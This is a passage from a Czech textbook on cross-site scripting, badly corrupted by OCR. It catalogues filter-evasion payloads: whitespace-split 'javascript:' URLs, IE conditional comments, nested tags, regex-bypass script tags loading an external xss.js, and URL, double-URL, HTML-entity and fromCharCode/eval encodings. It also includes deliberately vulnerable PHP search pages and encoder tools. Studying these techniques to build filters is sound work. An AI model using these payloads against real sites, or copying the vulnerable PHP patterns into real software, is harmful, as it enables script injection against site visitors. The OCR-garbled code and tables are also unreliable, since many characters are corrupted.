V nasledujici tabulce uvadim néktera mozna pouziti bilych znakd v kodu.

Tabulka 34 - PouZiti bilych znaku v tagu

<s&#x00; cript> (znak null neni mozné takto (HTML entitou) zapsat)
<a href="java&#x09;script:alert (/XSS/) ;">
<a href="java script:alert (/XSS/) ;">

<a href="java&#xOA;script:alert (/XSS/);">
<a href="java&#xOD;script:alert (/XSS/) ;">
<a href="java

script:alert (/XSS/) ;">

<a href="j

a

v
a
s
@
r
i
12)
€8

alert (/XSs/) ;">
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Uvedena technika je zneuZitelna ov§em pouze u Internet Exploreru
a to Casto jen do jeho verze 6. M¢la by vam ale ukézat dalsi z variant, kterou
je mozné prostrelit filtry, které s ni nepocitaji. Pfi jejich navrhu mé&jte tedy
na paméti, ze bilé znaky je potieba pied samotnou kontrolou odstranit.

Podminéné komentare

Mezi bezpe¢ny kus kodu, ktery nékdy mohou bezpec¢nostni filtry
propustit, je jisté mozné poéitat také komentafe. OvSem ani ty nemusi byt
bezpeéné vzdy. Internet Explorer od verze 5 pouziva i takzvané podminéné
komentate, které se vyhodnoti jako komentat pouze v piipadé, kdy neni
splnéna zadana podminka. V nasledujicim vypisu muzete vidét kod, ktery se
spusti ve vSech prohlizecich Internet Explorer, jejichz verze je 5 nebo vyssi.
Nepokladejte tedy vzdy veSkery obsah, ktery je v HTML uveden mezi
znackami<!-- a -->, pouze za neskodny kus textu.

Vypis 144 - Pouziti podminénych komentaru

<1--[if gte IE 5]>
<script>alert ('XSS');</SCRIPT>
<![endif]-->

Nestandardni zapis tagt

Neékteré bezpec¢nostni filtry zase predpokladaji, ze jsou HTML
tagy v koédu uvedené vzdy presné podle standardu. Za fetézcem <ndzev_tagu
tak ocekavaji bud’to mezeru, odd€lujici samotny ndzev tagu od jeho atributd,
nebo ukoncujici lomenou zavorku. Teprve pfi splnéni téchto podminek byva
vstup vyhodnocen jako nebezpecny. Webové prohlizece ovsem umoziiuji
oddélit vlastni nazev tagu od jeho atributd i pomoci jinych bilych znakt
nebo tieba i pomoci lomitka. S tim vSak mnoho filtri nepocita a nevyhodnoti
spravné nebezpecnou ¢ast vstupu. Konkrétni znaky, které je mozné uvadét
pied/za nazvem tagu/atributu, nebo v jejich ndzvu a hodnotach najdete
podrobné rozepsany pro rtizné prohlizece v piiloze A.

Abychom jesté vice oklamaly nékteré filtry, mizeme také za
uvedené lomitko umistit nejprve né&jaky nesmyslny text a teprve po té
uvedeme atribut. Uto&né vstupy pro Internet Explorer mohou jit jesté dale,
protoze nam umozni uvnité tagu pouzit dal§i otevirajici ostrou zavorku.
Ptiklady pouziti si miizete prohlédnout ve vypise 145.
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Vypis 145 - pouZiti zpétného lomitka k oddéleni atributi od tagu ‘

Kody funkéni v Internet Exploreru i FireFoxu
<script/src="http://www.hackingvpraxi.cz/skript.js"></script>
<script/test src="http://www.hackingvpraxi.cz/skript.js"></script>
<script/test>alert (/XSS/);</script>

Kody fungujici pouze v Internet Exploreru

<script <br>alert (/XSS/);</script>

<script<br>alert (/XSS/);</script>

<script/<br>alert (/XSS/);</script>

Zneuziti filtrd vypoustéjicich nebezpecné tagy

Postupy pii obchazeni bezpe¢nostnich filtri volime vzdy velice
individualn¢é. Pfedstavte si naptiklad bezpecnostni filtr, ktery propusti
uzivatelsky vstup po té, co z néj odstrani nebezpecné tagy. Ve vypisu 146
uvadim konkrétni ptiklad. Z uvedeného by mélo byt ziejmé, Ze je po
vypusténi nékterych Casti dilezité kontrolovat vysledny fetézec opakované
do té doby, nez zlstane beze zmény.

Vypis 146 - Vystup z bezpeénostniho filtru po odstranéni nebezpecnych céasti

Uzivatelsky vstup

Toto je muj <se<script>ript>alert ("vstup");</se</script>ript>.
Vystup z bezpecnostniho filtru

Toto je muj <script>alert ("vstup");</script>.

Nekteré z dalich zpusobu, které umozni projit bezpecnostnimi
filtry, si pro inspiraci uvedeme v nasledujicim vypisu.

Vypis 147 - Nékteré z mnoha moZnych vstupu pro otestovani bezpeénostniho filtru

Obchazi reguldrni vyraz "/<script[*>]+src/i"

<script a=">" SRC="http://ha.ckers.org/xss.js"></script>

Obchazi reguldrni vyraz "/<script((\s+\w+(\s*=\s*(?:" (.)*?"|'(.)*?"|[* " >\s]+))?)H\s*|\s*)src/i"

<script =">" SRC="http://ha.ckers.org/xss.js"></script>

Obchazi regulédrni vyraz "/<script((\s+\w+(\s*=\s*(?:" (.)*?"|'(.)*?"|[* " >\s]+))?)H\s*|\s*)src/i"

<script a=">" '' SRC="http://ha.ckers.org/xss.js"></script>

Obchazi reguldrni vyraz "/<script((\s+\w+(\s*=\s*(?:" (.)*?"|'(.)*?'|[* " >\s]+))?)H\s*|\s*)src/i"

<script "a='>'" SRC="http://ha.ckers.org/xss.js"></script>

Obchazi reguldrni vyraz "/<script((\s+\w+(\s*=\s*(?:" (.)*?"|'(.)*?'|[* " >\s]+))?)H\s*|\s*)src/i"

<script a='>" SRC="http://ha.ckers.org/xss.js"></script>

<script a=">'>" SRC="http://ha.ckers.org/xss.js"></script>

<script>document.write ("<SCRI") ;</script>PT
SRC="http://ha.ckers.org/xss.js"></script>

<<script>alert (/XSS/);//<</script>

<img """><script>alert (/XSS/)</script>">
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Kodovani

V podkapitole vénované piesmérovani jsme se seznamili
S riznymi moznostmi kodovani IP adresy. JavaScript ale poskytuje také
mnoho dalsich zpsobu pro kodovani znaki v textu nebo v programovém
kodu. Riznéd kodovani je ptitom mozné pouZit pii riznych ptilezitostech.
Vzhledem k tomu, ze kédovanim miize tito¢nik v urcitych situacich obelstit
bezpecnostni filtry a mize s jeho pomoci také skryt své skripty pred
uzivateli, probereme jednotlivé metody dukladnéji na nasledujicich
strankach.

URL kédovani

Jisté jste si jiz v8imli, Ze pokud vlozime do URL néjaky zvlastni
znak napiiklad zavorky, znak s diakritikou nebo mezeru, pouZije se pro
jejich vyjadieni po odeslani URL kodovani. To vypada tak, Ze se tyto znaky
pro pouziti v HTTP pozadavku prekoduji na jejich ASCII hodnoty, které
jsou uvadény v hexadecimalnim tvaru, a které ptedchazi znak procento %.
Proto je naptiklad mezera v odesilaném pozadavku zastoupena fetézcem
%20. Stejné je mozné zakddovat v URL také vSechny ostatni b&zné znaky
vV nazvech parametrl, nebo Vv jejich hodnotich. Vyjimkou je znak =, ktery
pfifazuje hodnotu do proménné. Ten musi ziistat ve znakové podobé, aby byl
spravné interpretovan.

Vratme se nyni k naSemu vyhledavadi, na kterém jsme testovali
non-persistentni XSS. Vytvofili jsme si pro jeho otestovani nebezpetny
odkaz, ktery si nyni uvedeme znovu ve vypisu 148.

Vypis 148 - Odkaz zneuZivajici non-persistentni XSS v nasem vyhledavaci

<a href=
"http://www.hackingvpraxi.cz/search.php?dotaz=<script>alert (/XSS/);</script>"
>Klikni sem</a>

Veskery obsah, ktery je v tomto odkazu uveden za znakem
otazniku, je kromé pfifazovaciho znaku = mozné zakddovat pomoci URL
kodovani. Vytvotime si na toto zakoédovani malou aplikaci v php.
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Vypis 149 - Aplikace pro URL kédovani

<?php
$txt = $ POST["txt"];
Svystup = "";
for ($i = 0; $i < strlen(Stxt); Si++) {
if ($txt[$i] != "="
$vystup .= "$%".dechex (ord($txt[$i]));
else
Svystup .= "=";

}
Ees
<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>URL kodér</title>
</head>
<body>
<h1>URL kodér</hl>
Parametry URL k zakdéddovani:
<form name="formular" method="post">
<input type="text" name="txt" size="100"
value="<?php echo htmlspecialchars ($txt); 2>">
<input type="submit" value="Ode$li">
</form>
<hr>"<?php echo $vystup; 2>"<hr>
</body>
</html>

S jeji pomoci si prevedeme bud’ pouze hodnotu parametru nebo
celou ¢ast URL za otaznikem na URL koédovani. Ziskame fetézce, které
uvadim ve vypisu 150.

Vypis 150 - Retézce ziskané URL kédovanim

<script>alert(/XSS/);</script>
%3c%73%63%72%69%70%74%3e%61%6Cc%65%72%74%28%2£%58%53%53%2£%29%3b%3c%2£%73%63%7
2%69%70%74%3e

dotaz=<script>alert(/XSS/);</script>
%64%6£%74%61%7a=%3c%73%63%72%69%70%74%3e%61%6Cc%$65%72%74%28%2£%58%53%53%2£%29%
3b%3c%2£%73%63%72%69%70%74%3e

Nyni mizeme odkaz z vypisu 148 upravit na jeden z tvarl
uvedenych ve vypisu 151. Jejich pouziti bude pak mit stejny efekt, jako
pouziti puvodniho odkazu.

Vypis 151 - Odkaz se skriptem upraveny URL kédovanim

<a href=
"http://www.hackingvpraxi.cz/search.php?dotaz=%3c%73%63%72%69%70%74%3e%61%6c%
65%72%74%28%2£%58%53%53%2£%29%3b%3c%2£%73%63%72%69%70%74%3e">K1likni sem</a>
nebo

<a href=
"http://www.hackingvpraxi.cz/search.php?%64%6£%74%61%7a=%3c%73%63%72%69%70%74
%3e%61%6Cc%65%72%74%28%2£%58%53%53%2£%29%3b%3c%2£%73%63%72%69%70%74%3e">K1likni
sem</a>
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Dvojité URL kédovani

Z uto¢nikova pohledu mize byt pfi poziti URL kodovani pro
skryti skriptu v parametrech URL nepfijemny nasledujici fakt. Pokud totiz
odkaz se zakodovanymi parametry umisti na webovou stranku jako b&zny
odkaz a navstévnik nad tento odkaz najede kurzorem mysi, zobrazi se ve
stavovém fadku tento odkaz v dekédovaném tvaru. Pfi odeslani pozadavku
je navic tento na serveru automaticky dekodovan a na dekodovany tvar
byvaji Casto nasazeny bezpeCnostni filtry, které vstup zbavi potencialné
nebezpeénych znakt. V jistych ptipadech mizZe byt ale tato vlastnost obejita
pomoci dvojitého URL kodovani.

Dvojité kédovani je vlastné opétovné zakddovani fetézce, ktery jiz
jednou prostiednictvim URL kodovani zakédovan je. MiZzeme opétovné
zakodovat klidné vSechny znaky v fetézci, to znamena znaky % a jednotlivé
hexadecimalni hodnoty. V praxi se vSak pouziva pouze opétovného
zakodovani znakl procent. Abychom si uvedené piiblizili na konkrétnim
pripadé, fekneme si jesté, Zze znak % ma v URL kodovani tvar %25. Kdyz
bychom nyni chtéli opétovné zakddovat naptiklad znak mezery, ktery ma
v URL koédovani podobu %20, nahradili bychom znak procento jeji
zakddovanou podobou %25. Pii dvojitém kodovani by tedy mél znak
mezery podobu %2520.

Dvojité kddovani nemizeme ale pouzit kdykoliv nas napadne. Pro
jeho pouziti je dilezité, aby skript na strané serveru nebo klienta pouzil
explicitné na hodnoty vstupnich parametri funkci na jejich dekddovani.
V JavaScriptu je touto funkci unescape() a v PHP urldecode(). MizZete se
s nimi setkat pomérné ¢asto a i my si o tuto funkci rozsifime nas vyhledavac.

Vypis 152 - Webovy vyhledavac s funkci urldecode()

<?php
Sdotaz = urldecode ($_GET["dotaz"]);
if ($dotaz) S$dotaz = "Pro hledanou frazi: <b>$dotaz</b> nebyly nalezeny

zadné vysledky.";
2>
<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledavadé</title>
</head>
<body>
<hl>Webovy vyhledavad&</hl>
<hr>
<?php echo $dotaz; ?>
<hr>
<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz">
<input type="submit" value="Hledej">
</form>
</body></html>
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Nyni je mozné vytvofit odkaz, ktery bude mit parametry
zakddované dvojim URL kodovanim. Po odeslani pozadavku se na serveru
automaticky provede prvni dekddovani parametri, pii némz se dekoduji
znaky %. Nasledné funkce urldecode() dek6duje hodnotu parametru podruhé
a vysledny fetézec zobrazi na strance. Pokud nyni odkaz z vypisu 153
vlozime na webovou stranku, nebude po najeti mysi nad odkaz zobrazeno ve
stavovém fadku URL v dekddovaném citelném tvaru.

Vypis 153 - Odkaz s dvojité zakédovanymi parametry

<a href=
"http://www.hackingvpraxi.cz/search.php?dotaz=%253c%2573%2563%2572%2569%2570%
2574%253e%2561%256c%2565%2572%2574%2528%252£%2558%2553%2553%252£%2529%253b%25
3c%252£%2573%2563%2572%2569%2570%2574%253e">odkaz</a>

Navic mohou byt nedostatecné nebo chybné navrzeny kontroly
uzivatelskych vstupl a pouziti dvojitého kédovani ndm miize povolit prunik
naseho vstupu. Zkusime nyni na$ vyhledava¢ dale rozsitit o chybné
umisténou PHP funkci htmlspecialchars(). Ta pfi spravném pouziti Gspé$né
zabranuje XSS utokdm, protoze zaménuje nebezpecné znaky za jejich
bezpecné entity. V tomto ptipadé, kdy nejprve kontrolujeme vstup a teprve
poté jej dekddujeme, nam vSak dvojité koédovani umozni néds vstup
propasovat.

Vypis 154 - Webovy vyhledédvac se Spatné umisténou funkci htmlspecialchars()

<?php
Sdotaz = urldecode (htmlspecialchars ($_GET["dotaz"]1));
if (Sdotaz) S$dotaz = "Pro hledanou frazi: <b>S$dotaz</b> nebyly nalezeny

zadné vysledky.";
2>
<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledavacé</title>
</head>
<body>
<hl>Webovy vyhledava&</hl>
<hr>
<?php echo $dotaz; ?>
<hr>
<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz">
<input type="submit" value="Hledej">
</form>
</body>
</html>
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Dvojitého, trojitého, ¢i vicenasobného kddovani se pouziva také
v ptipadech, kdy dochazi k vétsimu mnozstvi pfesmérovani, pfed tim, nez
data dorazi k cilovému skriptu, ktery je zpracovava. Nékdy je tak mozné
kombinovat i vice typi koédovani znaki, pficemz beéhem kazdého
pfesmérovani nebo jiného mezikroku dojde k ¢asteénému dekddovani
a predani vyslednych dat dalsimu stupni.

HTML entity

Pokud jste uz né€kdy chtéli na své strance zvefejnit zdrojovy kod
HTML, jisté jste pii tom narazili na problém. Pokud jej totiz vlozite jako
bézny text do obsahu vasi stranky, budou tagy obsazené v kddu, ktery chcete
vystavit, interpretovany prohlizecem a namisto jejich zobrazeni se vykonaji.

Existuje samoziejmé vice moznosti, jak zdrojovy kod na svém
webu vystavit. My se na tomto misté¢ zamé&fime na HTML entity znakd,
které vznikly pravé proto, aby umoznily zobrazit specidlni znaky, jejichz
zobrazeni by jinak bylo velice problematické.

HTML entita znakt se zapisuje pomoci znaku ampersand &, ktery
je nasledovan oznacenim entity a nakonec je ukoncena stiednikem.
V tabulce 35 uvadim nejéastéji pouzivané znakové entity. Pro vypsani
jakéhokoliv z uvedenych znaki sta¢i do obsahu stranky vlozit jeho HTML
entitu. Napfiklad pro vypsani znaku < pouZijeme tento zapis &lt;

Tabulka 35 - nejéastéji pouzivané HTML entity znaku

" &quot; 34 rovné uvozovky (palce) quotation mark (APL quote)
& &amp; 38 znak and ampersand
< &lt; 60 znak men$i nez less-than sign
&gt; 62 znak vétsi nez greater-than sign
&nbsp; 160 nedélitelnd mezera non-breaking space
i &iexcl; 161 obraceny vyk¥iénik inverted exclamation mark
¢ &cent; 162 cent cent sign
£ &pound; 163 libra pound sign
% &curren; 164 znak mény currency sign
¥ &yen; 165 yen yen sign
B &brvbar; 166 pferuSend svisla cara broken vertical bar
§ &sect; 167 paragraf section sign
© o &uml; 168 prehlasovani spacing diaeresis
© &copy; 169 copyright copyright sign
2  gordf; 170 feminine ordinal indicator
« &laquo; 171 francouzské uvozovky left-pointing double angle
quotation mark
- &not; 172 logické ne not sign
&shy; 173 rozdélovnik soft hyphen (discretionary
hyphen)
® &reg; 174 registrovand obchodni znacka registered trade mark sign
&macr; 175 nadtrzitko spacing macron (overline

APL overbar)
&deg; 176 stupen degree sign
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&plusmn;
&sup2;
&sup3;
&acute;
&micro;
&para;
&middot;
&cedil;
&supl;
&ordm;
&raquo;

&fracléd;
&fracl2;
&frac34;
&iquest;
&Agrave;
&RAacute;
&Acirc;
&Atilde;
&Auml;
&Aring;
&AElig;
&Ccedil;
&Egrave;
&Eacute;
&Ecirc;
&Euml;
&Igrave;
&Tacute;
&Icirc;
&Iuml;
&ETH;
&Ntilde;
&Ograve;
&Oacute;
&0circ;
&Otilde;
&Ouml;
stimes;
&0slash;
&Ugrave;
&Uacute;
&Ucirc;
&Uuml;
&Yacute;
&THORN;
&szlig;
&agrave;
&aacute;
&acirc;
&atilde;
s&auml;
&aring;
&aelig;
&ccedil;
&egrave;
&eacute;
&ecirc;
seuml;
&igrave;
&iacute;
&icirc;
&iuml;
&eth;
&ntilde;

177
178
179
180
181
182
183
184
185
186
187

188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211

213
214
215
216
217
218
219
220
221
222
223
224
229
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241

znak plus minus

druh& mocnina

tfeti mocnina

fr. carka nad a

znak mikro

znak odstavce

tecka vprostted fadku
fr. znaménko pod c
prvni mocnina

francouzské uvozovky

¢tvrtina
polovina

t¥i &tvrtiny
obraceny otaznik

plus-or-minus sign
superscript digit two
superscript digit three
acute accent (spacing acute)
micro sign

pilcrow sign (paragraph)
middle dot
cedilla (spacing cedilla)

superscript one

masculine ordinal indicator
right-pointing double angle
quotation mark (guillemet)
fraction one quarter
fraction one half

fraction three quarters
inverted question mark

Latin capital letter A with grave
Latin capital letter A with acute
Latin capital letter A with circumflex
Latin capital letter A with tilde
Latin capital letter A with diaeresis
Latin capital letter A with ring above
Latin capital letter AE (Latin capital ligature AE)
Latin capital letter C with cedilla
Latin capital letter E with grave
Latin capital letter E with acute
Latin capital letter E with circumflex
Latin capital letter E with diaeresis
Latin capital letter I with grave
Latin capital letter I with acute
Latin capital letter I with circumflex
Latin capital letter I with diaeresis
Latin capital letter ETH

Latin capital letter N with tilde
Latin capital letter O with grave
Latin capital letter O with acute
Latin capital letter O with circumflex
Latin capital letter O with tilde
Latin capital letter O with diaeresis
krat multiplication sign
presSkrtnuté o letter O with stroke
Latin capital letter U with grave
Latin capital letter U with acute
Latin capital letter U with circumflex
Latin capital letter U with diaeresis
Latin capital letter Y with acute
Latin capital letter THORN

Latin small letter sharp s (ess-zed)
Latin small letter a with grave

Latin small letter a with acute

Latin small letter a with circumflex
Latin small letter a with tilde

Latin small letter a with diaeresis
Latin small letter a with ring above
Latin small letter ae (Latin small ligature ae)
Latin small letter c with cedilla
Latin small letter e with grave

Latin small letter e with acute

Latin small letter e with circumflex
Latin small letter e with diaeresis
Latin small letter i with grave

Latin small letter i with acute

Latin small letter i with circumflex
Latin small letter i with diaeresis
Latin small letter eth

Latin small letter n with tilde
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o &ograve; 242 Latin small letter o with grave

6 &oacute; 243 Latin small letter o with acute

o &ocirc; 244 Latin small letter o with circumflex

& &otilde; 245 Latin small letter o with tilde

6  &ouml; 246 Latin small letter o with diaeresis

+ &divide; 247 déleno division sign

@ &oslash; 248 Latin small letter o with stroke

U &ugrave; 249 Latin small letter u with grave

U  &uacute; 250 Latin small letter u with acute

4 &ucirc; 251 Latin small letter u with circumflex

4 &uuml; 252 Latin small letter u with diaeresis

y &yacute; 253 Latin small letter y with acute

b &thorn; 254 Latin small letter thorn with

¥ &yuml; 255 Latin small letter y with diaeresis

@ &OElig; 338 Latin capital ligature OE

e &oelig; 339 Latin small ligature oe

§ &Scaron; 352 Latin capital letter S with caron

§ &scaron; 353 Latin small letter s with caron

¥ &Yuml; 376 Latin capital letter Y with diaeresis

f &fnof; 402 italské f Latin small f with hook

°  &circ; 710 programatorska mocnina modifier letter circumflex
&tilde; 732 vlnka, tilda small tilde

A &Alpha; 913 Greek capital letter alpha

B &Beta; 914 Greek capital letter beta

I' &Gamma; 915 Greek capital letter gamma

A &Delta; 916 Greek capital letter delta

E &Epsilon;917 Greek capital letter epsilon

Z &Zeta; 918 Greek capital letter zeta

H &Eta; 919 Greek capital letter eta

® &Theta; 920 Greek capital letter theta

I &lIota; 921 Greek capital letter iota

K &Kappa; 922 Greek capital letter kappa

A &Lambda; 923 Greek capital letter lambda

M &Mu; 924 Greek capital letter mu

N &Nu; 925 Greek capital letter nu

Z &Xi; 926 Greek capital letter xi

O &Omicron; 927 Greek capital letter omicron

I &Pi; 928 Greek capital letter pi

P &Rho; 929 Greek capital letter rho

% &Sigma; 931 Greek capital letter sigma

T &Tau; 932 Greek capital letter tau

Y &Upsilon;933 Greek capital letter upsilon

® &Phi; 934 Greek capital letter phi

X &Chi; 935 Greek capital letter chi

¥ &Psi; 936 Greek capital letter psi

Q &Omega; 937 Greek capital letter omega

a &alpha; 945 Greek small letter alpha

B &beta; 946 Greek small letter beta

Yy &gamma; 947 Greek small letter gamma

5 &delta; 948 Greek small letter delta

g &epsilon;949 Greek small letter epsilon

{ &zeta; 950 Greek small letter zeta

n &eta; 951 Greek small letter eta

6 &theta; 952 Greek small letter theta

L &iota; 953 Greek small letter iota

x &kappa; 954 Greek small letter kappa

A  &lambda; 955 Greek small letter lambda

B &mu; 956 Greek small letter mu

v &nu; 957 Greek small letter nu

£ &xi; 958 Greek small letter xi

o &omicron;959 Greek small letter omicron

m &pi; 960 pi Greek small letter pi

p &rho; 961 Greek small letter rho

¢ &sigmaf; 962 Greek small letter final sigma

o &sigma; 963 Greek small letter sigma

T &tau; 964 Greek small letter tau
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U &upsilon; 965 Greek small letter upsilon
¢ &phi; 966 Greek small letter phi
X &chi; 967 Greek small letter chi
v &psi; 968 Greek small letter psi
® &omega; 969 Greek small letter omega
&zwnj; 8204 svisla ¢&ara zero width non-joiner
&zwj; 8205 bezrozmérné délitko zero width joiner
&lrm; 8206 znak zleva do prava left-to-right mark
&rlm; 8207 znak zprava doleva right-to-left mark
— &ndash; 8211 pomléka 3ifky n en dash
— &mdash; 8212 pomléka S$ifky m em dash
' &lsquo; 8216 levad jednoduchd uvozovka left single quotation mark
! &rsquo; 8217 prava jednoduchd uvozovka right single quotation mark
, &sbquo; 8218 levad dolni jednoducha single low-9 quotation mark
Y &ldquo; 8220 levé horni uvozovky left double quotation mark
” &rdquo; 8221 pravé horni uvozovky right double quotation mark
» &bdquo; 8222 levé dolni uvozovky double low-9 quotation mark
t &dagger; 8224 kiizek dagger
¥ &Dagger; 8225 dvojity krizek double dagger
% &permil; 8240 promile per mille sign
< &lsaquo; 8249 single left-pointing angle quot.
&rsaquo; 8250 single right-pointing angle quot.
&bull; 8226 puntik bullet (black small circle)
. &hellip; 8230 t¥i tecky (vypustka) horizontal ellipsis
' &prime; 8242 minuta, stopa prime (minutes, feet)
" &Prime; 8243 vtefina, palec double prime
&oline; 8254 nadtrZitko overline
-~ &frasl; 8260 8ikmé lomitko fraction slash
€ &euro; 8364 euro euro sign
™  gtrade; 8482 obchodni znacka trade mark sign
~ &larr; 8592 Sipka vlevo leftwards arrow
1 &uarr; 8593 Sipka nahoru upwards arrow
- &rarr; 8594 Sipka doleva rightwards arrow
I &darr; 8595 Sipka doll downwards arrow
« &harr; 8596 8ipka zprava-doleva left right arrow
d &part; 8706 parcialni derivace partial differential
1 &prod; 8719 celkovy soucin n-ary product
Y &sum; 8721 celkovy soucet (suma) n-ary summation
- &minus; 8722 minus minus sign
N &radic; 8730 odmocnina square root (radical sign)
< &infin; 8734 nekonecno infinity
N &cap; 8745 prunik intersection (cap)
J  &int; 8747 integral integral
~ gasymp; 8776 témé¥ rovno (odpovida) asymptotic
# &ne; 8800 nerovnost not equal to
= gequiv; 8801 identita identical to
< sle; 8804 men$i nebo rovno less-than or equal to
2 gge; 8805 vétsi nebo rovno greater-than or equal to
¢ &loz; 9674 kosocCtverec lozenge
4 Gsspades; 9824 piky black spade suit
& s&clubs; 9827 ktize black club suit
¥ shearts; 9829 srdce black heart suit
¢ &diams; 9830 kary black diamond suit

Kazdou z HTML entit je mozné zapsat také pomoci jejiho
¢iselného kodu, ktery je v tabulce rovnéZz uveden. Opét staci pouzit znaku
ampersand &, ktery ovSem nyni nasleduje znak mfizka #, pak ciselny
unicode kod znaku v decimalnim tvaru a nakonec stfednik. Pouzit mtizeme
také Cislo v hexadecimalnim zapisu, kterému ovSem musi piedchazet jesté
znak x. Pro zapsani znaku < bychom tedy mohli pouzit nejenom tvar &lt;
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ale také &#60; nebo &#x3c; Vsechno jsou to zapisy se stejnym vyznamem.
Zminim jesté skuteCnost, ze vétSina webovych prohlizect nutné netrva na
uvadéni ukoncovaciho stiedniku. Pokud jej tedy budeme nuceni z néjakého
divodu vypoustét, nemélo by to mit na vlastni funkci zadny vliv. Stejné tak
miZeme beze zmény funkce pouzit i velkd pismena v hexadecimalnim
zapisu.

Nyni si mozna kladete otazku, k ¢emu nam jsou z hlediska XSS
HTML entity znakt dobré. Nuze vézte, ze nam mohou, stejné jako jiné
zpusoby kodovani, pomoci pii skryvani nami vlozenych skripti nebo pii
obchazeni bezpe€nostnich filtra, které s pouzitim tohoto kodovani
nepotitaji. Ciselnou unicode hodnotu znaku miizeme navic rozsifit pridanim
nul zleva pfed samotnym ¢iselnym kédem znaku a to az do celkového poctu
sedmi ¢islic. Napriklad vyse uvadénou ¢iselnou entitu &#60; muzeme zapsat
také témito zplisoby &#060; &#0060; &#00060; &#000060; nebo
&#0000060; Stejné mizeme rozsifovat i hexadecimalni hodnoty a mizeme
opét vynechat ukonéujici stfednik. Tyto zapisy nam mohou pomoci
Vv piipadech, kdy bezpecnostni filtry kontroluji pouze ptitomnost entit ve
tvaru &#XX;

Vsechny skripty, které jsme v HTML kodu stranky zacinali
direktivou javascript:, tedy ty, které jsou obsahem atributii udalosti nebo
odkazli na externi zdroje dat, mizeme klidné pfepsat pomoci HTML entit
jednotlivych znak. Odkaz stejného vyznamu, jako je ten z vypisu 155,
dokazeme vytvofit také v zakodovaném tvaru pomoci HTML entit. Tvar
takto zakodovaného odkazu si mtzete v riiznych podobach prohlédnout ve
vypisu 156.

Vypis 155 - Odkaz spoustéjici vloZeny skript

<a href="javascript:alert (/XSS/);">0dkaz</a>

Vypis 156 - Odkaz zakédovany pomoci HTML entit v ruznych variantich

Kompletni zdpis entit v decimalnim tvaru

<a href=

"&#106; &#97; &#118; &#97; &#115; &#99; &#114;&#105;&#112; &#116; &#58; &#97;&#108; &#1
01;&#114;6&#116;&#40;&#34;&#88;&#83;&#83;&#34;&#41;&#59; ">0dkaz</a>

Kompletni zapis entit v decimalnim tvaru vcetné rozsireni nulami

<a href=

"&#0000106; &#0000097; &#0000118; &#0000097; &#0000115; &#0000099; &#0000114; &#0000
105;&#0000112; &#0000116; &#0000058; &#0000097; &#0000108; &#0000101; &#0000114; &#0
000116;&#0000040; &#0000034; &#0000088; &#0000083; &#0000083; &#0000034; &#0000041;
&#0000059; ">0Odkaz</a>

Kompletni zapis entit v hexadecimalnim tvaru

<a href=

"a#x6a; &#x61l; &#xT76; &#x61; a#xT3; &#x63; &#x72; &#x69; &#x70; &#x74; &#x3a; &#x61; &#x6
C; &#x65; &#x72; &#x74; &#x28; &#x22; &#x58; &#x53; &#x53; &#x22; &#x29; &#x3b; ">
Odkaz</a>
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Zapis entit v decimalnim tvaru bez ukoncovacich stiedniku

<a href=
"s#1066#976#1186#976#1156#996#1146#1056#1126#1166#586#976#108&#1016#1146#116&
#406#346#886#836#836#346#416#59">0dkaz</a>

Zapis entit v hexadecimalnim tvaru bez ukoncovacich stiedniku

<a href=
"sa#x6as#x61a#RTO&#RO61&H#RTI&H#R638#xT2a#x698#xT0&#xT4s#x3as#x61a#x6Cca#x65&#%T2&
#xT46#x286#x226#x586#x536#x536#x226#x29&#x3b">0dkaz</a>

ASCII kédovani

V jistych ptipadech (napifiklad pti zapnuté direktivé PHP
magic_quotes_gpc) neni mozné vkladat do svych skripth nékteré specialni
znaky, jako jsou uvozovky, apostrofy, atd. Pouziti téchto znakl ve skriptech
je vsak velmi dulezité a je proto nutné toto omezeni né&jakym zpisobem
obejit. Jednim z moznych feSeni v JavaScriptu je pouziti metody
fromCharCode() objektu String. Tato metoda vraci znaky odpovidajici jejich
ASCII hodnotam. Mame-li napiiklad kod JavaScriptu z vypisu 157, miizeme
textové fetézce pouzitim metody fromCharCode() zapsat také ve tvaru, ktery
vidite ve vypisu 158.

Vypis 157 - BéZny skript obsahujici uvozovky

<script>alert ("XSS");</script>

Vypis 158 - Retézec zakédovany na ASCII hodnoty

<script>alert (String.fromCharCode (34,88,83,83,34)) ;</script>

Timto zplisobem se sice vyhneme zvlas$tnim znakiim uvozujicim
textové fetézce, nicméné pokud bychom chtéli zakédovat na ASCII hodnoty
cely skript, museli bychom sadhnout po funkci JavaScriptu eval().
Taumoznuje spustit jakykoliv vlozeny kod napsany v JavaScriptu. Jak by
jeji pouziti vypadalo v naSem piipadé, kdy prevadime na ASCII hodnoty
fetézec alert("XSS"); si mizZete prohlédnout ve vypise 159. Opét je funkce
vysledného skriptu naprosto shodna se skripty z vypisu 157 a 158. Ovéfit
a prakticky vyzkousSet vSechny pfipady si miZzete v naSem vyhledavaci
Z vypisu 22.

Vypis 159 - Cely koéd Javascriptu prevedeny na ASCII hodnoty

<script>eval (String.fromCharCode (97,108,101,114,116,40,34,88,83,83,34,41,59))
;</script>




174 Cross-Site Scripting v praxi

Abychom byli schopni pfevadét textové fetézce, muZzeme si
uzpisobit nasi piedchozi aplikaci uréenou na URL koédovani a obohatit ji
0 vystup ASCII hodnot oddélenych ¢arkami. Rozsifenou aplikaci naleznete
ve vypisu 160.

Vypis 160 - Aplikace pro URL kédovani rozsirena o dalsi typy kédovani

<?php
Stxt = $_POST["txt"];
SvystupURL = "";
SvystupASCII = "";

for ($i = 0; $i < strlen($txt); $i++) {
if ($txt[$i] != "=")

SvystupURL .= "$".dechex (ord (Stxt([$i]));
} else {

$SvystupURL .= "=";
}
$SvystupASCII .= ord($txt([$i]).",";

}
SvystupASCII = substr ($vystupASCII,0,strlen($vystupASCII)-1);
e
<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2\">
<title>URL / ASCII kodér</title>
</head>
<body>
<hl1>URL / ASCII kodér</hl>
Textovy fetézec k zakddovani:
